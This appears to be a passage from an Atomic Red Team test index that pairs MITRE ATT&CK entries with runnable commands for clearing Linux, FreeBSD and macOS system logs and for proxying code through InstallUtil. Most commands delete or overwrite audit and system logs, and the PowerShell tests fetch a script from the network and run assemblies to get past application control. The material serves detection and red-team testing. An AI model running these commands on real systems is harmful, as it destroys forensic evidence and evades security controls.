Log Files You Must be Monitoring. Retrieved March 29, 2020. modified: '2021-04-29T14:49:39.188Z' name: 'Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs' description: | Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs) * /var/log/messages:: General and system-related messages * /var/log/secure or /var/log/auth.log: Authentication logs * /var/log/utmp or /var/log/wtmp: Login records * /var/log/kern.log: Kernel logs * /var/log/cron.log: Crond logs * /var/log/maillog: Mail server logs * /var/log/httpd/: Web server access and error logs kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Deletion' - 'File: File Modification' - 'Command: Command Execution' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1070.002 atomic_tests: - name: rm -rf auto_generated_guid: 989cc1b1-3642-4260-a809-54f9dd559683 description: 'Delete system and audit logs ' supported_platforms: - macos - linux input_arguments: syslog_path: description: path of syslog file to delete. On macos it's /var/log/system.log*, on linux, it's /var/log/syslog*. Also note for File events, that on macos, /var/ is a link to /private/var/. type: string default: "/var/log/system.log" macos_audit_path: description: path of audit file to delete type: string default: "/var/audit/20220725213300.202208110700021" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'if [ -d /var/audit ] ; then stat #{macos_audit_path} ; fi && stat #{syslog_path} ' get_prereq_command: | touch #{syslog_path} if [ -d /var/audit ] ; then touch #{macos_audit_path} ; fi executor: command: | sudo rm -rf #{syslog_path} if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi name: sh elevation_required: true - name: rm -rf auto_generated_guid: bd8ccc45-d632-481e-b7cf-c467627d68f9 description: 'Delete messages and security logs ' supported_platforms: - linux executor: command: | rm -rf /var/log/messages rm -rf /var/log/security name: sh elevation_required: true - name: Delete log files using built-in log utility auto_generated_guid: 653d39cd-bae7-499a-898c-9fb96b8b5cd1 description: 'This test deletes main log datastore, inflight log data, time-to-live data(TTL), fault and error content ' supported_platforms: - macos executor: command: | sudo log erase --all sudo log erase --ttl #Deletes only time-to-live log content name: sh elevation_required: true - name: Truncate system log files via truncate utility auto_generated_guid: 6290f8a8-8ee9-4661-b9cf-390031bf6973 description: 'This test truncates the system log files using the truncate utility with (-s 0) parameter which sets file size to zero, thus emptying the file content ' supported_platforms: - macos input_arguments: system_log_path: description: path of system log to delete. type: string default: "/var/log/system.log" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} ' get_prereq_command: 'touch #{system_log_path} ' executor: command: 'sudo truncate -s 0 #{system_log_path} #size parameter shorthand ' name: sh elevation_required: true - name: Truncate system log files via truncate utility (freebsd) auto_generated_guid: 14033063-ee04-4eaf-8f5d-ba07ca7a097c description: 'This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content ' supported_platforms: - linux executor: command: "truncate -s 0 /var/log/messages #size parameter shorthand\ntruncate --size=0 /var/log/security #size parameter \n" name: sh elevation_required: true - name: Delete log files via cat utility by appending /dev/null or /dev/zero auto_generated_guid: c23bdb88-928d-493e-b46d-df2906a50941 description: 'The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility ' supported_platforms: - macos input_arguments: system_log_path: description: path of system log to delete. type: string default: "/var/log/system.log" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} ' get_prereq_command: 'touch #{system_log_path} ' executor: command: | sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros) name: sh elevation_required: true - name: Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd) auto_generated_guid: 369878c6-fb04-48d6-8fc2-da9d97b3e054 description: 'The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility ' supported_platforms: - linux executor: command: | cat /dev/null > /var/log/messages #truncating the file to zero bytes cat /dev/zero > /var/lol/messages #log file filled with null bytes(zeros) name: sh elevation_required: true - name: System log file deletion via find utility auto_generated_guid: bc8eeb4a-cc3e-45ec-aa6e-41e973da2558 description: 'This test finds and deletes the system log files within /var/log/ directory using various executions(rm, shred, unlink) ' supported_platforms: - macos input_arguments: system_log_name1: description: name or prefix of system log to delete. type: string default: system.log system_log_name2: description: name or prefix of system log to delete. type: string default: system.log.97.gz system_log_name3: description: name or prefix of system log to delete. type: string default: system.log.98.gz dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat /var/log/#{system_log_name1} /var/log/#{system_log_name2} /var/log/#{system_log_name3} ' get_prereq_command: 'touch /var/log/#{system_log_name1} /var/log/#{system_log_name2} /var/log/#{system_log_name3} ' executor: command: | sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \; #using "rm" execution sudo find /var/log -name "#{system_log_name2}*" -exec shred -u -z -n 3 {} \; #using "shred" execution sudo find /var/log -name "#{system_log_name3}*" -exec unlink {} \; #using "unlink" execution name: sh elevation_required: true - name: Overwrite macOS system log via echo utility auto_generated_guid: '0208ea60-98f1-4e8c-8052-930dce8f742c' description: 'This test overwrites the contents of system log file with an empty string using echo utility ' supported_platforms: - macos input_arguments: system_log_path: description: path to system.log type: string default: "/var/log/system.log" executor: command: 'sudo echo '''' > #{system_log_path} ' name: sh elevation_required: true - name: Overwrite FreeBSD system log via echo utility auto_generated_guid: 11cb8ee1-97fb-4960-8587-69b8388ee9d9 description: 'This test overwrites the contents of system log file with an empty string using echo utility ' supported_platforms: - linux executor: command: 'echo '''' > /var/log/messages ' name: sh elevation_required: true - name: Real-time system log clearance/deletion auto_generated_guid: 848e43b3-4c0a-4e4c-b4c9-d1e8cea9651c description: 'This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process ' supported_platforms: - macos executor: command: 'sudo log -f /var/log/system.log | : > /var/log/system.log ' name: sh elevation_required: true - name: Delete system log files via unlink utility auto_generated_guid: 03013b4b-01db-437d-909b-1fdaa5010ee8 description: 'This test deletes the system log file using unlink utility ' supported_platforms: - macos input_arguments: system_log_path: description: path to system.log type: string default: "/var/log/system.log" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} ' get_prereq_command: 'touch #{system_log_path} ' executor: command: 'sudo unlink #{system_log_path} ' name: sh elevation_required: true - name: Delete system log files via unlink utility (freebsd) auto_generated_guid: 45ad4abd-19bd-4c5f-a687-41f3eee8d8c2 description: 'This test deletes the messages log file using unlink utility ' supported_platforms: - linux executor: command: 'unlink /var/log/messages ' name: sh elevation_required: true - name: Delete system log files using shred utility auto_generated_guid: 86f0e4d5-3ca7-45fb-829d-4eda32b232bb description: 'This test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely ' supported_platforms: - macos input_arguments: system_log_path: description: path to system.log type: string default: "/var/log/system.log" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} ' get_prereq_command: 'touch #{system_log_path} ' executor: command: 'sudo shred -u -z -n 3 #{system_log_path} ' name: sh elevation_required: true - name: Delete system log files using srm utility auto_generated_guid: b0768a5e-0f32-4e75-ae5b-d036edcf96b6 description: | This test securely deletes the system log files individually and recursively using the srm utility. Install srm using Homebrew with the command: brew install khell/homebrew-srm/srm Refer: https://github.com/khell/homebrew-srm/issues/1 for installation supported_platforms: - macos input_arguments: system_log_path: description: path to system.log type: string default: "/var/log/system.log" system_log_folder: description: path to log parent folder type: string default: "/var/log/" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} #{system_log_folder} ' get_prereq_command: 'mkdir -p #{system_log_folder} && touch #{system_log_path} #{system_log_folder}/system.log ' executor: command: | sudo srm #{system_log_path} #system log file deletion sudo srm -r #{system_log_folder} #recursive deletion of log files name: sh elevation_required: true - name: Delete system log files using OSAScript auto_generated_guid: 810a465f-cd4f-47bc-b43e-d2de3b033ecc description: 'This test deletes the system log file using osascript via "do shell script"(sh/bash by default) which in-turn spawns rm utility, requires admin privileges ' supported_platforms: - macos input_arguments: system_log_path: description: path to system.log type: string default: "/var/log/system.log" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} ' get_prereq_command: 'touch #{system_log_path} ' executor: command: 'osascript -e ''do shell script "rm #{system_log_path}" with administrator privileges'' ' name: sh elevation_required: true - name: Delete system log files using Applescript auto_generated_guid: e62f8694-cbc7-468f-862c-b10cd07e1757 description: | This test deletes the system log file using applescript using osascript via Finder application Note: The user may be prompted to grant access to the Finder application before the command can be executed successfully as part of TCC(Transparency, Consent, and Control) Framework. Refer: https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive supported_platforms: - macos input_arguments: system_log_path: description: path to system.log type: string default: "/var/log/system.log" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{system_log_path} ' get_prereq_command: 'touch #{system_log_path} ' executor: command: 'osascript -e ''tell application "Finder" to delete POSIX file "#{system_log_path}"'' ' name: sh elevation_required: true - name: Delete system journal logs via rm and journalctl utilities auto_generated_guid: ca50dd85-81ff-48ca-92e1-61f119cb1dcf description: 'The first sub-test deletes the journal files using rm utility in the "/var/log/journal/" directory and the second sub-test clears the journal by modifiying time period of logs that should be retained to zero. ' supported_platforms: - linux input_arguments: journal_folder: description: path to journal logs type: string default: "/var/log/journal" dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat #{journal_folder} ' get_prereq_command: 'mkdir -p #{journal_folder} && touch #{journal_folder}/T1070_002.journal ' executor: command: | sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place name: sh elevation_required: true - name: Overwrite Linux Mail Spool auto_generated_guid: 1602ff76-ed7f-4c94-b550-2f727b4782d4 description: 'This test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - linux input_arguments: username: description: Username of mail spool type: string default: root dependency_executor_name: sh dependencies: - description: 'target files must exist ' prereq_command: 'stat /var/spool/mail/#{username} ' get_prereq_command: 'touch /var/spool/mail/#{username} ' executor: elevation_required: true command: 'echo 0> /var/spool/mail/#{username} ' name: bash - name: Overwrite Linux Log auto_generated_guid: d304b2dc-90b4-4465-a650-16ddd503f7b5 description: 'This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - linux input_arguments: log_path: description: Path of specified log type: path default: "/var/log/secure" executor: command: 'echo 0> #{log_path} ' name: bash elevation_required: true cleanup_command: 'if [ "/var/log/secure" != "#{log_path}" ] ; then rm -f #{log_path} ; fi ' T1218.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Travis Smith, Tripwire - Casey Smith object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2cd950a6-16c4-404a-aa01-044322395107 type: attack-pattern created: '2020-01-23T19:09:48.811Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1218.004 url: https://attack.mitre.org/techniques/T1218/004 - source_name: MSDN InstallUtil description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016. url: https://msdn.microsoft.com/en-us/library/50614e95.aspx - source_name: LOLBAS Installutil url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/ description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019. modified: '2022-05-11T14:00:00.188Z' name: 'Signed Binary Proxy Execution: InstallUtil' description: |- Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed. x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Digital Certificate Validation - Application control x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1218.004 atomic_tests: - name: CheckIfInstallable method call auto_generated_guid: ffd9c807-d402-47d2-879d-f915cf2a3a94 description: | Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed. If no output is displayed the test executed successfuly. supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: CheckIfInstallable assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $ExpectedOutput = 'Constructor_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly if ($ActualOutput -ne $ExpectedOutput) { throw @" CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallHelper method call auto_generated_guid: d43a5bde-ae28-4c55-a850-3f4c80573503 description: | Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test executed successfuly. supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: InstallHelper assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`"" $ExpectedOutput = 'Constructor_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' CommandLine = $CommandLine } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly if ($ActualOutput -ne $ExpectedOutput) { throw @" InstallHelper method execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallUtil class constructor method call auto_generated_guid: 9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93 description: 'Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility. ' supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: Executable assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`"" $ExpectedOutput = 'Constructor_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' CommandLine = $CommandLine } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly if ($ActualOutput -ne $ExpectedOutput) { throw @" InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallUtil Install method call auto_generated_guid: 9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b description: 'Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility. ' supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: Executable assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`"" $ExpectedOutput = 'Constructor_Install_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' CommandLine = $CommandLine } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs if ($ActualOutput -ne $ExpectedOutput) { throw @" InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallUtil Uninstall method call - /U variant auto_generated_guid: 34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b description: 'Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility. ' supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: Executable assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`"" $ExpectedOutput = 'Constructor_Uninstall_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' CommandLine = $CommandLine } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs if ($ActualOutput -ne $ExpectedOutput) { throw @" InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant auto_generated_guid: 06d9deba-f732-48a8-af8e-bdd6e4d98c1d description: 'Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility. ' supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: Executable assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`"" $ExpectedOutput = 'Constructor_Uninstall_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' CommandLine = $CommandLine } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs if ($ActualOutput -ne $ExpectedOutput) { throw @" InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallUtil HelpText method call auto_generated_guid: 5a683850-1145-4326-a0e5-e91ced3c6022 description: 'Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil. ' supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 assembly_dir: description: directory to drop the compiled installer assembly type: path default: "$Env:TEMP\\" invocation_method: description: the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable type: string default: Executable assembly_filename: description: filename of the compiled installer assembly type: string default: T1218.004.dll dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly . "#{test_harness}" $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName $CommandLine = "/? `"$InstallerAssemblyFullPath`"" $ExpectedOutput = 'Constructor_HelpText_' $TestArgs = @{ OutputAssemblyDirectory = $InstallerAssemblyDir OutputAssemblyFileName = $InstallerAssemblyFileName InvocationMethod = '#{invocation_method}' CommandLine = $CommandLine } $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs if ($ActualOutput -ne $ExpectedOutput) { throw @" InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output. Expected: $ExpectedOutput Actual: $ActualOutput "@ } cleanup_command: | $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore name: powershell - name: InstallUtil evasive invocation auto_generated_guid: 559e6d06-bb42-4307-bff7-3b95a8254bad description: | Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation." will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion. supported_platforms: - windows input_arguments: test_harness: description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly type: path default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 dependencies: - description: 'InstallUtil test harness script must be installed at specified location (#{test_harness}) ' prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" executor: command: | # 